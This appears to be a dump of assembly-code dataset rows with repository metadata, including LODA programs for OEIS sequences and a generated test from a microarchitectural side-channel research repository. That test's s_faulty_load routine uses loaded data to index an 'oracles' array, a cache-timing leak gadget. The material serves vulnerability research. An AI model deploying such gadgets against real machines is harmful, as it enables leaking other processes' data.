36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
38.726257
2,999
0.659406
3fb73748154797e379513c9c6471b83f3dc4e98c
3,018
asm
Assembly
programs/oeis/016/A016944.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/016/A016944.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/016/A016944.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A016944: a(n) = (6*n + 2)^12. ; 4096,68719476736,56693912375296,4096000000000000,95428956661682176,1152921504606846976,9065737908494995456,52654090776777588736,244140625000000000000,951166013805414055936,3226266762397899821056,9774779120406941925376,26963771415920784510976,68719476736000000000000,163674647745587512938496,367666387654882241806336,784716723734800033386496,1601032218567680790102016,3138428376721000000000000,5936027041831326482169856,10872213398722912904482816,19342813113834066795298816,33516416633376182864121856,56693912375296000000000000,93806788798424099682390016,152097843090208773684330496,242038829185737332250382336,378552550483148382977130496,582622237229761000000000000,883389054245605390183038976,1320859596446125189798629376,1949369609479181830042157056,2841978310637314049208487936,4096000000000000000000000000,5839916592521948960554356736,8241956748638414149261459456,11520674946182735813538942976,15957917665472413585874354176,21914624432020321000000000000,29849979392446980130179383296,40344505040107975043939700736,54127774346370243244217860096,72111511618440250457975689216,95428956661682176000000000000,125481482080472289777685958656,163993580655357272581489033216,213077479576736094126128828416,275308791831202866814366253056,353814783205469041000000000000,452377017219528840630098722816,575550340897290317159369936896,728800392748903786995238567936,918662051842949959948040605696,1152921504606846976000000000000,1440824885279561706440311115776,1793316748073189235032143691776,2223311955453421620312454598656,2746004918951634751471942107136,3379220508056640625000000000000,4143811350541573024494477377536,5064106685657562460643248377856,6168418401625692825349129240576,7489610392496358142528690917376,9065737908494995456000000000000,10940764150271046150530924548096,13165361972911066876932454875136,15797809222128776602593843613696,18904986924730564508992631996416,22563490300366186081000000000000,26860863353869191234592184467456,31896968649395808729270202863616,37785504761378948674749271638016,44655684845389758862462603104256,52654090776777588736000000000000,61946718368946856158571745775616,72721230308905569812910016823296,85189434637938383810027924033536,99590007862645199957883822800896,116191483108948578241000000000000,135295525131890643183257125912576,157240515470071886090490202034176,182405472588468433947695572320256,211214333490219270978877298446336,244140625000000000000000000000000,281712554732076657256510863118336,324518553658426726783156020576256,373213304189874002281651152818176,428524289779543806069295154200576,491258904256726154641000000000000,562312161404145029166871028432896,642675047706468691384313547329536,733443563726545202295271950647296,835828502212285713876160279023616,951166013805414055936000000000000,1080929014117615599540292857696256,1226739488964205980896866405974016,1390381757704650361419792863727616,1573816757937541579976988694675456,1779197418239532716881000000000000,2008885189227855969143993103548416 mul $0,6 add $0,2 pow $0,12
431.142857
2,956
0.955931
75819ca68130b726f2065ae714b9ff4a798ea86c
6,720
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_187_1518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_187_1518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_187_1518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x17d20, %rsi lea addresses_A_ht+0xe520, %rdi nop sub %r14, %r14 mov $113, %rcx rep movsq nop nop xor %r9, %r9 lea addresses_normal_ht+0x16200, %rdx nop nop nop nop nop xor $16868, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%rdx) cmp %r14, %r14 lea addresses_D_ht+0x12520, %rsi lea addresses_A_ht+0x9a5c, %rdi sub %r12, %r12 mov $33, %rcx rep movsb nop nop nop inc %r14 lea addresses_normal_ht+0x126c8, %rsi nop nop nop xor %r9, %r9 movb $0x61, (%rsi) nop nop nop nop nop inc %r12 lea addresses_UC_ht+0x1320, %rsi nop nop nop add $58746, %rcx and $0xffffffffffffffc0, %rsi movaps (%rsi), %xmm4 vpextrq $0, %xmm4, %r14 inc %rcx lea addresses_normal_ht+0x8520, %r12 nop nop nop dec %r9 mov $0x6162636465666768, %rcx movq %rcx, %xmm1 movups %xmm1, (%r12) nop nop nop nop inc %rsi lea addresses_WT_ht+0x139fa, %rsi xor $15143, %r12 mov (%rsi), %dx nop nop nop and $51762, %rcx lea addresses_WC_ht+0x6aa8, %r9 nop nop xor %rsi, %rsi mov (%r9), %r12d nop nop add $4997, %rdi lea addresses_WT_ht+0xb684, %rsi lea addresses_WC_ht+0x11020, %rdi nop nop dec %r15 mov $80, %rcx rep movsw nop nop dec %rcx lea addresses_normal_ht+0x4e34, %rsi lea addresses_A_ht+0xda42, %rdi nop xor $12239, %r14 mov $43, %rcx rep movsl nop nop nop nop nop cmp %rcx, %rcx lea addresses_WC_ht+0x780, %r14 clflush (%r14) nop nop cmp $19159, %rdx movb $0x61, (%r14) nop nop nop nop nop sub %r14, %r14 lea addresses_normal_ht+0x125a8, %r14 nop nop nop nop nop add $52487, %r15 movb (%r14), %r12b cmp $58512, %r9 lea addresses_WT_ht+0x19d20, %r12 nop nop and $14240, %rsi movb (%r12), %r9b nop add $60340, %rsi lea addresses_WC_ht+0x13a00, %r12 add $47118, %rcx mov $0x6162636465666768, %rdx movq %rdx, %xmm5 movups %xmm5, (%r12) nop nop nop nop nop xor %rcx, %rcx lea addresses_WC_ht+0x49a0, %rsi lea addresses_A_ht+0x8760, %rdi nop nop nop nop nop sub %r14, %r14 mov $54, %rcx rep movsl sub $35062, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r8 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0x15e20, %rsi lea addresses_PSE+0x5520, %rdi and %r11, %r11 mov $112, %rcx rep movsb nop nop nop and $18766, %r8 // REPMOV lea addresses_UC+0xcc60, %rsi lea addresses_D+0x11fe0, %rdi nop nop xor $51657, %r14 mov $109, %rcx rep movsl nop nop nop sub %r14, %r14 // REPMOV lea addresses_WT+0x7600, %rsi lea addresses_PSE+0x5520, %rdi clflush (%rdi) nop nop and $64278, %rax mov $125, %rcx rep movsl dec %rax // Store mov $0x4619b800000001a0, %rax sub %rsi, %rsi movl $0x51525354, (%rax) nop nop sub $28719, %r8 // Store mov $0x36f29800000003a0, %rcx nop add %rsi, %rsi movw $0x5152, (%rcx) nop nop nop sub %r8, %r8 // Faulty Load lea addresses_PSE+0x5520, %r14 nop xor %rcx, %rcx vmovntdqa (%r14), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rdi lea oracles, %rax and $0xff, %rdi shlq $12, %rdi mov (%rax,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'REPM'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'39': 187} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
23.661972
560
0.651637
574afebb45ece4ab8e7e7405ce2336b40a853dc6
398
asm
Assembly
programs/oeis/334/A334572.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/334/A334572.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/334/A334572.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A334572: Let x(n, k) be the exponent of prime(k) in the factorization of n, then a(n) = Max_{k} abs(x(n,k)- x(n-1,k)). ; 1,1,2,2,1,1,3,3,2,1,2,2,1,1,4,4,2,2,2,2,1,1,3,3,2,3,3,2,1,1,5,5,1,1,2,2,1,1,3,3,1,1,2,2,2,1,4,4,2,2,2,2,3,3,3,3,1,1,2,2,1,2,6,6,1,1,2,2,1,1,3,3,1,2,2,2,1,1,4,4,4,1,2,2,1,1,3,3,2 seq $0,28387 ; a(n) = n + (n+1)^2. seq $0,51903 ; Maximal exponent in prime factorization of n.
66.333333
179
0.570352